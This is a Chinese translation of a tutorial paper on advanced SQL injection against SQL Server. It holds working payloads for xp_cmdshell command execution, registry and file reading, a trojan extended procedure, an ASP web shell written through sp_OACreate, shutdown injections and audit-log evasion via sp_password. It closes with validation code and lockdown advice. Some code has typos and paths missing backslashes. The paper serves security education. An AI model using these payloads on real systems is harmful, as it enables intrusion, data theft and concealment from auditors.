SQL Server应用程序高级SQL注入(下)

网络整理 - 07-26

SQL Server应用程序高级SQL注入(上)

获得更高的权限

一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:

1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。

2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的)。

3. 利用其他存储过程去改变服务器。

4. 在连接的服务器上执行查询。

5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码。

6. 使用''bulk insert''语法去读服务器上的任意文件。

7. 使用bcp在服务器上建立任意的文本格式的文件。

8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情。

这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法:

[xp_cmdshell]

许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:

Exec master..xp_cmdshell ''dir''

将获得SQLSERVER进程的当前工作目录中的目录列表。

Exec master..xp_cmdshell ''net user''

将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

[xp_regread]

另一个有用的内置存储过程是xp_regXXXX类的函数集合。 以下为引用的内容:

Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumkeys Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite

这些函数的使用方法举例如下:

exec xp_regread HKEY_LOCAL_MACHINE,''SYSTEMCurrentControlSetServiceslanmanserverparameters'', ''nullsessionshares''

这将确定什么样的会话连接在服务器上是可以使用的

exec xp_regenumvalues HKEY_LOCAL_MACHINE,''SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities''

这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。 这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。

[其他存储过程]

xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:

exec master..xp_servicecontrol ''start'',''schedule'' exec master..xp_servicecontrol ''start'',''server''

下表中列出了少量的其他有用的存储过程:

Xp_availablemedia 显示机器上有用的驱动器

Xp_dirtree 允许获得一个目录树

Xp_enumdsn 列举服务器上的ODBC数据源

Xp_loginconfig Reveals information about the security mode of the server

Xp_makecab 允许用户在服务器上创建一个压缩文件

Xp_ntsec_enumdomains 列举服务器可以进入的域

Xp_terminate_process 提供进程的进程ID,终止此进程

[Linked Servers]

SQL SERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用''sp_addlinkedsrvlogin''过程,当前可信的连接不用登陆就可以访问到服器。''openquery''函数允许查询脱离服务器也可以执行。

[Custom extended stored procedures]

扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下载和FTP脚本。

一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):

Sp_addextendedproc ''xp_webserver'',''c:tempxp_foo.dll''

在正常的方式下,这个扩展存储过程可以被运行:

exec xp_webserver

一旦这个程序被运行,可以使用下面的方法将它除去:

xp_dropextendedproc ''xp_webserver''

[将文本文件导入表]

使用''bulk insert''语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:

create table foo( line varchar(8000) )

然后执行bulk insert操作把文件中的数据插入到表中,如:

bulk insert foo from ''c:inetpubwwwrootprocess_login.asp''

可以使用上述的错误消息技术,或者使用''union''选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。

[使用bcp建立文本文件]

使用''bulk insert''的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。''bcp'',即''bulk copy program'' 既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。

命令行格式如下:

bcp "select * from text..foo" queryout c:inetpubwwwrootruncommand.asp –c -Slocalhost –Usa –Pfoobar

''S''参数为执行查询的服务器,''U''参数为用户名,''P''参数为密码,这里为''foobar''

[ActiveX automation scripts in SQL SERVER]

SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:

(1)这个例子使用''wscript.shell''对象建立了一个记事本的实例: 以下为引用的内容:

wscript.shell example declare @o int exec sp_oacreate ''wscript.shell'',@o out exec sp_oamethod @o,''run'',NULL,''notepad.exe''

我们可以通过指定在用户名后面来执行它:

Username:''; declare @o int exec sp_oacreate ''wscript.shell'',@o out exec sp_oamethod @o,''run'',NULL,''notepad.exe''—

(2)这个例子使用''scripting.filesystemobject''对象读一个已知的文本文件: 以下为引用的内容:

--scripting.filesystemobject example – read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate ''scripting.filesystemobject'', @o out exec sp_oamethod @o, ''opentextfile'', @f out, ''c:boot.ini'', 1 exec @ret=sp_oamethod @f,''readline'',@line out while(@ret=0) begin print @line exec @ret=sp_oamethod @f,''readline'',@line out end

(3)这个例子创建了一个能执行通过提交到的任何命令:

-- scripting.filesystemobject example – create a ''run this''.asp file declare @o int,@f int,@t int,@ret int exec sp_oacreate ''scripting.filesystemobject'',@o out exec sp_oamethod @o,''createtextfile'',@f out,''c:inetpubwwwrootfoo.asp'',1 exec @ret=sp_oamethod @f,''writeline'',NULL,''<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>''

需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。

(4)这些例子阐述了这个技术的适用性;它可以使用''speech.voicetext''对象引起SQL SERVER发声:

declare @o int,@ret int exec sp_oacreate ''speech.voicetext'',@o out exec sp_oamethod @o,''register'',NULL,''foo'',''bar'' exec sp_oasetproperty @o,''speed'',150 exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to,us'',528 waitfor delay ''00:00:05''

我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):

Username:admin'';declare @o int,@ret int exec sp_oacreate ''speech.voicetext'',@o out exec sp_oamethod @o,''register'',NULL,''foo'',''bar'' exec sp_oasetproperty @o,''speed'',150 exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to us'',528 waitfor delay ''00:00:05''--

[存储过程]

传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。

比较好的常规的标准是:

如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。

如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的用于参数收集的command对象),那么通过这个对象的执行,它一般是安全的。

明显地,既然新的攻击技术始终地被发现,好的惯例仍然是验证用户所有的输入。 为了阐明存储过程的查询注入,执行以下语句:

sp_who ''1'' select * from sysobjects or sp_who ''1'';select * from sysobjects

任何一种方法,在存储过程后,追加的查询依然会执行。

[高级SQL注入]

通常情况下,一个web应用程序将会过滤单引号(或其他符号),或者限定用户提交的数据的长度。

在这部分,我们讨论一些能帮助攻击者饶过那些明显防范SQL注入,躲避被记录的技术。

[没有单引号的字符串]

有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用VBScript中的replace函数或类似:

function escape(input) input=replace(input,"''","''''") escape=input end function

无可否认地这防止了我们所有例子的攻击,再除去'';''符号也可以帮很多忙。但是在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限定,因此为攻击者提供了一个SQL注入的弱点。 如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如:

insert into users values(666, char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), 0xffff)

这就是一个能够往表中插入字符串的不包含单引号的查询。

淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作用:

insert into users values(667, 123, 123, oxffff)

SQL SERVER自动地将整型转化为varchar型的值。

[Second-Order SQL Injection]

即使应用程序总是过滤单引号,攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。

例如,攻击者可能利用下面的信息在应用程序中注册:

Username:admin''— Password:password

应用程序正确过滤了单引号,返回了一个类似这样的insert语句:

insert into users values(123,''admin''''—'',''password'',0xffff)

我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下:

username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = ''" + username + "'' and password = ''" + oldpassword + "''"; rso.open( sql, cn ); if (rso.EOF) { …

设置新密码的代码如下:

sql = "update users set password = ''" + newpassword + "'' where username = ''" + rso("username") + "''" rso("username")

当username为admin''—时,查询语句为:update users set password = ''password'' where username=''admin''—'' 这样攻击者可以通过注册一个admin''—的用户来根据自己的想法来设置admin的密码。 这是一个非常严重的问题,目前在大型的应用程序中试图去过滤数据。最好的解决方法是拒绝非法输入,这胜于简单地努力去修改它。这有时会导致一个问题,非法的字符在那里是必要的,例如在用户名中包含''符号,例如 O''Brien 从一个安全的观点来看,最好的解答是但引号不允许存在是一个简单的事实。如果这是无法接受的话,他们仍然要被过滤;在这种情况下,保证所有进入SQL查询的数据都是正确的是最好的方法。

如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据,这种方式的攻击也是可能的。应用程序可能有email接口,或者可能在数据库中可以存储错误日志,这样攻击者可以努力控制它。验证所有数据,包括数据库中已经存在的数据始终是个好的方法。确认函数将被简单地调用,例如:

if(not isValid("email",request.querystring("email"))) then response.end

或者类似的方法。

[长度限制]

为了给攻击者更多的困难,有时输入数据的长度是被限制的。当这个阻碍了攻击时,一个小的SQL可以造成很严重的危害。例如:

Username:'';shutdown—

这样只用12个输入字符就将停止SQL SERVER实例。另一个例子是:

drop table <tablename>

如果限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定16个字符,密码也被限定16个字符,那么下面的用户名和密码结合将会执行上面提到的shutdown命令:

Username:aaaaaaaaaaaaaaa'' Password:''; shutdown—

原因是应用程序尝试去过滤用户名最后的单引号,但是字符串被切断成16个字符,删除了过滤后的一个单引号。这样的结果就是如果密码字段以单引号开始,它可以包含一些SQL语句。既然这样查询看上去是:

select * from users where username=''aaaaaaaaaaaaaaa'''' and password='''''';shutdown—

实际上,查询中的用户名已经变为:

aaaaaaaaaaaaaaa'' and password=''

因此最后的SQL语句会被执行。

[审计]

SQL SERVER包含了丰富的允许记录数据库中的各种事件的审计接口,它包含在sp_traceXXX类的函数中。特别有意思的是能够记录所有SQL语句,然后在服务器上执行的T-SQL的事件。如果这种审计是被激活的,我们讨论的所有注入的SQL查询都将被记录在数据库中,一个熟练的数据库管理员将能够知道发生了什么事。不幸地,如果攻击者追加以下字符串:

Sp_password

到一个Transact-SQL语句中,这个审计机制记录日志如下:

--''sp_password'' was found in the text of this event. -- The text has been replaced with this comment for security reasons.

这种行为发生在所有的T-SQL日记记录中,即使''sp_password''发生在一个注释中。这个过程打算通过sp_password隐藏用户的密码,但这对于一个攻击者来说是非常有用的方法。因此,为了隐藏所有注入,攻击者需要简单地在''—''注释字符后追加sp_password,例如:

Username:admin''—sp_password事实上一些被执行的SQL将被记录,但是查询本身将顺利地从日志中消失。

[防范]

这部分讨论针对记述的攻击的一些防范。我们将讨论输入确认和提供一些简单的代码,然后我们将从事SQL SERVER锁定。

[输入验证]

输入验证是一个复杂的题目。比较有代表性的是,自从过于严密地确认倾向于引起部分应用程序的暂停,输入确认问题很难被解决,在项目开发中投入很少的注意力在输入确认上。输入确认不是倾向于将它加入到应用程序的功能当中,因此它一般会被忽视。

下面是一个含有简单代码的讨论输入确认的大纲。这个简单的代码不能直接用于应用程序中,但是它十分清晰地阐明了不同的策略。

不同的数据确认方法可以按以下分类:

1) 努力修改数据使它成为正确的;

2) 拒绝被认为是错误的输入;

3) 只接收被认为是正确的输入。

第一种情况有一些概念上的问题;首先,开发人员没必要知道那些是错误数据,因为新的错误数据的形式始终被发现。其次,修改数据会引起上面描述过的数据的长度问题。最后,二次使用的问题包括系统中已经存在数据的重新使用。

第二种情况也存在第一种情况中的问题;已知的错误输入随着攻击技术的发展变化。

第三种情况可能是三种中最好的,但是很难实现。

从安全角度看合并第二种方法和第三种方法可能是最好的方法——只允许正确的输入,然后搜索输入中已知的错误数据。

带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子:

Quentin Bassington-Bassington

我们必须在正确输入中允许连接符号,但是我们也意识到字符序列''—''对SQL SERVER很重要。

当合并修改数据和字符序列确认时,会出现另一个问题。例如,如果我们应用一个错误过滤在除去单引号之后去探测''—'',''select''和''union'',攻击者可以输入:

uni''on sel''ect version-''-

既然单引号被除去,攻击者可以简单地散布单引号在自己的错误的字符串中躲避被发现。

这有一些确认代码的例子:

方法一——过滤单引号 以下为引用的内容:

function escape(input) input=replace(input,"''","''''") escape=input end function

方法二——拒绝已知的错误输入

以下为引用的内容:

function validate_string(input) known_bad=array("select","insert","update","delete","drop","—","''") validate_string=true for i=lbound(known_bad) to ubound(known_bad) if(instr(1,input,known_bad(i),vbtextcompare)<>0) then validate_string=false exit function end if next end function

方法三——只允许正确的输入

以下为引用的内容:

function validatepassword(input) good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789” validatepassword=true for i=1 to len(input) c=mid(input,I,1) if(InStr(good_password_chars,c)=0) then validatepassword=false exit function end if next end function

[SQL SERVER锁定]

在这指出的重要一点是锁定SQL SERVER是必要的;外面的是不安全的。这是一个但创建SQL SERVER时需要做的事情的简短的列表:

1.确定连接服务器的方法

a.确定你所使用的网络库是可用的,那么使用"Network Utility"

2.确定哪些帐户是存在的

a.为应用程序的使用创建一个低权限的帐户

b.删除不必要的帐户

c.确定所有帐户有强壮的密码;执行密码审计

3.确定哪些对象存在

a.许多扩展存储过程能被安全地移除。如果这样做了,应该移除包含在扩展存储过程代码中的''.dll''文件

b.移除所有示例数据库——例如''northwind''和''pubs''数据库

4.确定哪写帐户能过使用哪些对象

a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限

5.确定服务器的补丁

a.针对SQL SERVER有一些缓冲区溢出和格式化字符串攻击,也有一些其他的安全补丁发布。应该存在很多。

6.确定什么应该被日志记录,什么应该在日志中结束